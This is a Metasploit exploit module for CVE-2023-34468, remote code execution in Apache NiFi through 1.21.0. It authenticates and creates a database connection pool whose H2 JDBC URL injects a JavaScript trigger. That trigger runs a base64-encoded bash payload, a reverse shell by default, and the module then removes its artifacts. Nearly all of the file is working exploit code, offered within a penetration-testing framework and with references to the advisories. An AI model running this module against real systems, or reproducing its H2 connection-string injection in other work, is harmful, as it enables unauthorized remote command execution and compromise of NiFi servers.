##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Nifi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache NiFi H2 Connection String Remote Code Execution',
'Description' => %q{
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
to configure a Database URL with the H2 driver that enables custom code execution.
This exploit will result in several shells (5-7).
Successfully tested against Apache nifi 1.17.0 through 1.21.0.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Matei "Mal" Badanoiu' # discovery
],
'References' => [
['CVE', '2023-34468'],
['URL', 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8'],
['URL', 'https://issues.apache.org/jira/browse/NIFI-11653'],
['URL', 'https://nifi.apache.org/security.html#1.22.0'],
# not many h2 references on the Internet, especially for nifi, so leaving this here
# ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65']
# ['URL', 'http://www.h2database.com/html/features.html']
],
'DisclosureDate' => '2023-06-12',
'DefaultOptions' => { 'RPORT' => 8443 },
'Platform' => %w[unix],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix (In-Memory)',
{
'Type' => :unix_memory,
'Payload' => { 'BadChars' => '"' },
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 30])
],
self.class
)
end
def configure_dbconpool
# our base64ed payload can't have = in it, so we'll pad out with spaces to remove them
b64_pe = ::Base64.strict_encode64(payload.encoded)
equals_count = b64_pe.count('=')
if equals_count > 0
b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)
end
if @version > Rex::Version.new('1.16.0')
# 1.17.0-1.21.0
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar'
else
# 1.16.0
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar'
end
body = {
'disconnectedNodeAcknowledged' => false,
'component' => {
'id' => @db_con_pool,
'name' => @db_con_pool_name,
'bulletinLevel' => 'WARN',
'comments' => '',
'properties' => {
# https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R38
# we can use a random db name here, the file is created automatically
# XXX would mem work too?
'Database Connection URL' => "jdbc:h2:file:/tmp/#{Rex::Text.rand_text_alphanumeric(6..10)}.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
'Database Driver Class Name' => 'org.h2.Driver',
# This seems to be installed by default, do we need the location?
'database-driver-locations' => driver,
"Max Total Connections": '1' # prevents us from getting multiple callbacks
},
'sensitiveDynamicPropertyNames' => []
},
'revision' => {
'clientId' => 'x',
'version' => 0
}
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', @db_con_pool),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
res = send_request_cgi(opts)
fail_with(Failure::Unreachable, 'No response received') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200
end
def configure_processor
vprint_status("Configuring processor #{@processor}")
body = {
# "disconnectedNodeAcknowledged"=> false,
'component' => {
'id' => @processor,
'name' => Rex::Text.rand_text_alphanumeric(6..10),
'bulletinLevel' => 'WARN',
'comments' => '',
'config' => {
'autoTerminatedRelationships' => ['failure', 'success'],
'bulletinLevel' => 'WARN',
'comments' => '',
'concurrentlySchedulableTaskCount' => '1',
'executionNode' => 'ALL',
'penaltyDuration' => '30 sec',
'retriedRelationships' => [],
'schedulingPeriod' => '0 sec',
'schedulingStrategy' => 'TIMER_DRIVEN',
'yieldDuration' => '1 sec',
'state' => 'STOPPED',
'properties' => {
'Database Connection Pooling Service' => @db_con_pool,
'SQL select query' => 'SELECT H2VERSION() FROM DUAL;' # innocious get version query, field required to be non-blank
}
}
},
'revision' => {
'clientId' => 'x',
'version' => 1 # needs to be 1 since we had 0 before
}
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
res = send_request_cgi(opts)
fail_with(Failure::Unreachable, 'No response received') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200
end
def check
# see apache_nifi_processor_rce check method for details on why this is difficult
@cleanup_required = false
login_type = supports_login?
return CheckCode::Unknown('Unable to determine if logins are supported') if login_type.nil?
if login_type
@version = get_version
return CheckCode::Unknown('Unable to determine Apache NiFi version') if @version.nil?
if @version <= Rex::Version.new('1.21.0')
return CheckCode::Appears("Apache NiFi instance supports logins and vulnerable version detected: #{@version}")
end
CheckCode::Safe("Apache NiFi instance supports logins but non-vulnerable version detected: #{@version}")
else
CheckCode::Appears('Apache NiFi instance does not support logins')
end
end
def validate_config
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
fail_with(Failure::BadConfig,
'Authentication is required. Bearer-Token or Username and Password must be specified')
end
end
def cleanup
super
return unless @cleanup_required
# Wait for thread to execute - This seems necesarry, especially on Windows
# and there is no way I can see of checking whether the thread has executed
print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")
sleep(datastore['DELAY'])
# Stop Processor
stop_processor(@token, @processor)
vprint_good("Stopped and terminated processor #{@processor}")
# Delete processor
delete_processor(@token, @processor, 3)
vprint_good("Deleted processor #{@processor}")
begin
stop_dbconnectionpool(@token, @db_con_pool)
rescue DBConnectionPoolError
fail_with(Failure::UnexpectedReply, 'Unable to stop DB Connection Pool. Manual cleanup is required')
end
vprint_good("Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling")
sleep(datastore['DELAY'])
begin
delete_dbconnectionpool(@token, @db_con_pool)
rescue DBConnectionPoolError
fail_with(Failure::UnexpectedReply, 'Unable to delete DB Connection Pool. Manual cleanup is required')
end
vprint_good("Deleted db connection pool #{@db_con_pool}")
end
def exploit
# Check whether login is required and set/fetch token
if supports_login?
validate_config
@token = if datastore['BEARER-TOKEN'].to_s.empty?
retrieve_login_token
else
datastore['BEARER-TOKEN']
end
fail_with(Failure::NoAccess, 'Invalid Credentials') if @token.nil?
else
@token = nil
end
if @version.nil?
@version = get_version
end
# Retrieve root process group
@process_group = fetch_root_process_group(@token)
fail_with(Failure::UnexpectedReply, 'Unable to retrieve root process group') if @process_group.nil?
vprint_good("Retrieved process group: #{@process_group}")
@db_con_pool_name = Rex::Text.rand_text_alphanumeric(6..10)
begin
@db_con_pool = create_dbconnectionpool(@token, @db_con_pool_name, @process_group, @version)
rescue DBConnectionPoolError
fail_with(Failure::UnexpectedReply,
'Unable to create DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')
end
@cleanup_required = true
# Create processor in root process group
@processor = create_processor(@token, @process_group, 'org.apache.nifi.processors.standard.ExecuteSQL')
vprint_good("Created processor #{@processor} in process group #{@process_group}")
configure_processor
vprint_good("Configured processor #{@processor}")
configure_dbconpool
vprint_good("Configured db connection pool #{@db_con_pool_name} (#{@db_con_pool})")
begin
start_dbconnectionpool(@token, @db_con_pool)
rescue DBConnectionPoolError
fail_with(Failure::UnexpectedReply,
'Unable to start DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')
end
vprint_good('Enabled db connection pool')
begin
start_processor(@token, @processor)
rescue ProcessorError
fail_with(Failure::UnexpectedReply,
'Unable to start Processor. Manual review of HTTP packets will be required to debug failure.')
end
vprint_good('Started processor')
end
end
